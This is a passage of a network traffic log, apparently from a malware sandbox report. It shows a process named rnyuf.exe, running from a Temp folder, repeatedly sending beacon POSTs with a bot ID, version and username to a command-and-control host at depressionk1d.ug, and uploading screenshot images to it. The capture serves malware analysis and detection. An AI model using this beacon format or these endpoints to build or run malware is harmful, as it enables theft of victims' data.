Nov 12, 2021 22:23:08.367243052 CET	1301	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:08.367283106 CET	1304	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:08.367300034 CET	1306	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:08.438146114 CET	1377	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:08 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49844	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.401583910 CET	4795	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.426945925 CET	4796	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49845	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.562715054 CET	4797	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.588666916 CET	4797	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49846	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.741552114 CET	4798	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.766436100 CET	4798	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:34.849766970 CET	4798	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:34.849802017 CET	4798	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:34.850224972 CET	4809	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:34.850282907 CET	4811	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:34.873059988 CET	4838	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:34.895548105 CET	4843	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:34.895581961 CET	4849	OUT	Data Raw: f2 17 b7 ff 00 7a 9f aa 1f f8 9a 5c 7f be 6a 3d 1b fe 42 f6 ff 00 ef 53 b5 13 9d 46 7f f7 cd 72 5b f7 ff 00 23 59 7f 07 e6 56 a4 ef 45 15 b9 ca 2d 14 94 b4 00 52 d2 52 f6 a0 40 29 69 29 69 08 29 45 25 28 a0 41 40 a2 81 48 07 03 4a 29 29 45 21 31 Data Ascii: z\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*PvxEz^^<CW6_9z1z=x'KtVNkQ<i/Vk~B4WIqNQZVCZxsPNE&LsR@)i)"5Tp5
Nov 12, 2021 22:23:34.895617962 CET	4854	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:23:34.895636082 CET	4859	OUT	Data Raw: 31 7d 6a 99 8a 31 4e 18 ad 91 a4 47 ea 69 46 93 10 ee 69 fd 5e 64 bc 55 33 1b 8a 38 ad bf ec 98 fd 4d 28 d2 62 f5 34 fe af 31 7d 6a 99 89 c5 2e 05 6d 8d 26 2f 53 4e 1a 4c 5e f4 fe af 22 5e 2a 99 89 8a 36 d6 e7 f6 54 5e f4 bf d9 51 7b d5 7d 5e 42 Data Ascii: 1}j1NGiFi^dU38M(b41}j.m&/SNL^"^*6T^Q{}^B3m(Z4W?Z/#X]~{yGw>ovZ)3:j1X3/y,0814k/&u!VKte,m5oCKJ)gCUe}
Nov 12, 2021 22:23:34.895678043 CET	4864	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:23:34.895715952 CET	4870	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:23:34.943231106 CET	4906	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49847	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:34.901583910 CET	4891	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:34.926917076 CET	4906	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49848	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.058315039 CET	4907	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.083642006 CET	4908	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49849	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.211416006 CET	4908	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.235934973 CET	4909	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49850	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.369415045 CET	4909	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.395613909 CET	4949	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49851	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.370982885 CET	4910	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:35.371074915 CET	4910	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:35.371361017 CET	4920	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:35.371522903 CET	4923	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:35.393804073 CET	4926	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:35.393871069 CET	4931	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:35.393893003 CET	4934	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:35.393904924 CET	4937	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:35.393915892 CET	4939	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:35.393924952 CET	4942	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:35.393934965 CET	4943	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:35.466345072 CET	5021	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:35.501413107 CET	5021	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.527137041 CET	5021	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49852	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.669938087 CET	5022	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.695199966 CET	5023	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49853	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
